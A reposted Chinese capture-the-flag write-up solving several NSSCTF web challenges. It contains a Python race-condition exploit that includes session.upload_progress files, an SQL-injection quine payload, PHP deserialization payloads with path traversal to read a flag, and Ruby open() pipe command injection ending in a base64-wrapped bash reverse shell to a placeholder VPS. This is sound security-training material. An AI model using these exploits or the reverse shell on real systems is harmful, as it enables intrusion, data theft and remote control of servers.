发布于2022-08-03 18:34 阅读(482) 评论(0) 点赞(0) 收藏(1)
复现地址:NSSCTF
感觉是非预期解:直接访问 phpinfo.php 即可拿到 flag。
首页,是 WebFTP,直接 github 搜到项目 WebFTP,是一个老框架了,默认密码 admin/admin888
。这里复现环境直接就登上了,不过比赛时默认密码是被改了的。
下载源码分析发现存在测试页 mytz.php 也有 phpinfo。
/Readme/mytz.php?act=phpinfo
访问首页给源码:
<?php if(!isset($_GET['mode'])){ highlight_file(__file__); }else if($_GET['mode'] == "eval"){ $shell = isset($_GET['shell']) ? $_GET['shell'] : 'phpinfo();'; if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker"); eval($shell); } if(isset($_GET['file'])){ if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker"); include $_GET['file']; } function filter($var){ $banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"]; foreach($banned as $ban){ if(strstr($var, $ban)) return True; } return False; } function checkNums($var){ $alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'; $cnt = 0; for($i = 0; $i < strlen($alphanum); $i++){ for($j = 0; $j < strlen($var); $j++){ if($var[$j] == $alphanum[$i]){ $cnt += 1; if($cnt > 8) return True; } } } return False; } ?>
可以列目录,不过没法查看,字符长度受限,由于 flag 文件名太长导致文件包含也不行
?mode=eval&shell=system("ls /");
# 以下报 hacker
?mode=eval&shell=system("nl /*");
?mode=eval&shell=1&file=/nssctfasdasdflag
不过这里可以利用 session.upload_progress 进行上传临时 session 文件并包含:
条件竞争 exp:
import io,sys import requests import threading sessid = 'air' url = 'http://1.14.71.254:28070/' payload = "<?php system('cat /n*;echo findit;')?>" def write(session): while True: f = io.BytesIO(b'a' * 1024 * 50) session.post( url, data = {"PHP_SESSION_UPLOAD_PROGRESS": payload}, files = {"file":('a.txt', f)}, cookies = {'PHPSESSID':sessid} ) def read(session): while True: res = session.get( '%s?mode=eval&shell=1&file=/tmp/sess_%s'%(url,sessid)) if 'findit' not in res.text: print('[+++]retry') else: print(res.text) sys.exit(0) if __name__=="__main__": with requests.session() as session: threading.Thread(target=write, args=(session, ), daemon=True).start() read(session)
结果:
网页源代码提示 /?source
,拿到源码
<?php include_once("lib.php"); function alertMes($mes,$url){ die("<script>alert('{$mes}');location.href='{$url}';</script>"); } function checkSql($s) { if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){ alertMes('hacker', 'index.php'); } } if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') { $username=$_POST['username']; $password=$_POST['password']; if ($username !== 'admin') { alertMes('only admin can login', 'index.php'); } checkSql($password); $sql="SELECT password FROM users WHERE username='admin' and password='$password';"; $user_result=mysqli_query($con,$sql); $row = mysqli_fetch_array($user_result); if (!$row) { alertMes("something wrong",'index.php'); } if ($row['password'] === $password) { die($FLAG); } else { alertMes("wrong password",'index.php'); } } if(isset($_GET['source'])){ show_source(__FILE__); die; } ?> <!-- /?source --> <html> <body> <form action="/index.php" method="post"> <input type="text" name="username" placeholder="账号"><br/> <input type="password" name="password" placeholder="密码"><br/> <input type="submit" / value="登录"> </form> </body> </html>
考点是 Quine,指的是输出结果与程序自身源码一致。
参考文章:SQLi Quine 和 yet_another_mysql_injection。
改了一下 exp:
sign = '1'
data = f"'UNION/**/SELECT/**/{sign*2}#"
def quine(data, debug=True):
if debug: print(data)
data = data.replace(f'{sign*2}',f"REPLACE(REPLACE({sign*2},CHAR(34),CHAR(39)),CHAR({ord(sign)}),{sign*2})")
blob = data.replace(f'{sign*2}',f'"{sign}"').replace("'",'"')
data = data.replace(f'{sign*2}',"'"+blob+"'")
if debug: print(data)
return data
data = quine(data)
print(data)
payload:
username=admin&password='UNION/**/SELECT/**/REPLACE(REPLACE('"UNION/**/SELECT/**/REPLACE(REPLACE("1",CHAR(34),CHAR(39)),CHAR(49),"1")#',CHAR(34),CHAR(39)),CHAR(49),'"UNION/**/SELECT/**/REPLACE(REPLACE("1",CHAR(34),CHAR(39)),CHAR(49),"1")#')#
结果:
访问直接给源码:
<?php include 'flag.php'; class pkshow { function echo_name() { return "Pk very safe^.^"; } } class acp { protected $cinder; public $neutron; public $nova; function __construct() { $this->cinder = new pkshow; } function __toString() { if (isset($this->cinder)) return $this->cinder->echo_name(); } } class ace { public $filename; public $openstack; public $docker; function echo_name() { $this->openstack = unserialize($this->docker); $this->openstack->neutron = $heat; if($this->openstack->neutron === $this->openstack->nova) { $file = "./{$this->filename}"; if (file_get_contents($file)) { return file_get_contents($file); } else { return "keystone lost~"; } } } } if (isset($_GET['pks'])) { $logData = unserialize($_GET['pks']); echo $logData; } else { highlight_file(__file__); } ?>
有一个比较,不过 $heat
变量并没有定义,或者是类外的变量,会报 PHP Notice: Undefined variable
错误,所以这里 nova 为 NULL 就会判定其相等,最后调用 file_get_contents 函数去读取 flag.php 文件即可。
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova){...}
构造 payload:
<?php class pkshow {} class acp { protected $cinder; public $neutron; public $nova; function __construct() { $a = new ace(); $a->filename = 'flag.php'; //$a->filename = '../../../../../../nssctfasdasdflag'; $c = new pkshow(); $a->docker = serialize($c); $this->cinder = $a; } } class ace { public $filename; public $openstack; public $docker; } $b = new acp(); echo urlencode(serialize($b)); ?>
访问:
/?pks=O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A17%3A%22O%3A6%3A%22pkshow%22%3A0%3A%7B%7D%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D
得到 flag.php 内容:
<?php
$heat="asdasdasdasd53asd3a1sd3a1sd3asd";
$flag="flag in /nssctfasdasdflag";
修改一下 payload 得到 flag:
/?pks=O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A34%3A%22..%2F..%2F..%2F..%2F..%2F..%2Fnssctfasdasdflag%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A17%3A%22O%3A6%3A%22pkshow%22%3A0%3A%7B%7D%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D
直接附件下载 Ruby 代码:
require 'sinatra' require 'digest' require 'base64' get '/' do open("./view/index.html", 'r').read() end get '/upload' do open("./view/upload.html", 'r').read() end post '/upload' do unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png' return "<script>alert('error');location.href='/upload';</script>" end begin filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png' open(filename, 'wb') { |f| f.write open(params[:file][:tempfile],'r').read() } "Upload success, file stored at #{filename}" rescue 'something wrong' end end get '/convert' do open("./view/convert.html", 'r').read() end post '/convert' do begin unless params['file'] return "<script>alert('error');location.href='/convert';</script>" end file = params['file'] unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/ return "<script>alert('dont hack me');</script>" end res = open(file, 'r').read() headers 'Content-Type' => "text/html; charset=utf-8" "var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n" rescue 'something wrong' end end
Ruby 中的 open 函数存在漏洞,如果以 |
开头则会 fork 出一个进程,而 |
后面的内容则会被当成一条命令执行:
cmd = open("|ls /|base64")
print cmd.gets
cmd.close
在 /convert 处抓包:
file=|ls;.png
# 过滤了 .. 和 / ,利用 base64 编码,“bHMgLwo=”即“ls /”
file=|echo bHMgLwo=|base64 -d|sh;.png
# 找了很久没找到 flag 文件,后面直接弹 shell 才发现原来在环境变量里
file=|env;.png
弹 shell:
# 得到 base64 值
echo 'bash -i >& /dev/tcp/vps_ip/2333 0>&1' | base64
# file 处填写,base64值得经过 url 编码
file=|echo base64值 | base64 -d | bash;.png
转载请注明出处。
本文网址:https://blog.csdn.net/hiahiachang/article/details/123118953
原文链接:https://blog.csdn.net/hiahiachang/article/details/123118953
作者:我赌你没有子弹
链接:http://www.phpheidong.com/blog/article/355671/cd7c4a9dc3559a0c6c9f/
来源:php黑洞网
任何形式的转载都请注明出处,如有侵权 一经发现 必将追究其法律责任
昵称:
评论内容:(最多支持255个字符)
---无人问津也好,技不如人也罢,你都要试着安静下来,去做自己该做的事,而不是让内心的烦躁、焦虑,坏掉你本来就不多的热情和定力
Copyright © 2018-2021 php黑洞网 All Rights Reserved 版权所有,并保留所有权利。 京ICP备18063182号-4
投诉与举报,广告合作请联系vgs_info@163.com或QQ3083709327
免责声明:网站文章均由用户上传,仅供读者学习交流使用,禁止用做商业用途。若文章涉及色情,反动,侵权等违法信息,请向我们举报,一经核实我们会立即删除!